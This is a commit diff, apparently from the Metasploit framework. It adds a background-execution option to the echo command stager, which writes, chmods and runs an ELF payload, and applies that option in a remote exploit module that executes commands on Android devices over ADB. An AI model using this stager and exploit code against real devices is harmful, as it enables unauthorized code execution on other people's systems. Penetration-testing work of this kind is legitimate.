Add a background option for the echo cmdstager.
parent
00f1511b46
commit
210f065427
|
@ -108,7 +108,7 @@ class CmdStagerEcho < CmdStagerBase
|
|||
# Make it all happen
|
||||
cmds << "chmod 777 #{@tempdir}#{@var_elf}"
|
||||
#cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
|
|
|
@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
print_status cmd
|
||||
response = @adb_client.exec_cmd(cmd)
|
||||
print_good "Command executed, response:\n #{response}"
|
||||
end
|
||||
|
@ -55,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
device_data = @adb_client.connect
|
||||
print_good "Connected to device:\n#{device_data.data}"
|
||||
execute_cmdstager({
|
||||
:flavor => :echo,
|
||||
:enc_format => :octal,
|
||||
:prefix => '\\\\0',
|
||||
:temp => datastore['WritableDir'],
|
||||
:linemax => Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8
|
||||
flavor: :echo,
|
||||
enc_format: :octal,
|
||||
prefix: '\\\\0',
|
||||
temp: datastore['WritableDir'],
|
||||
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
|
||||
background: true
|
||||
})
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue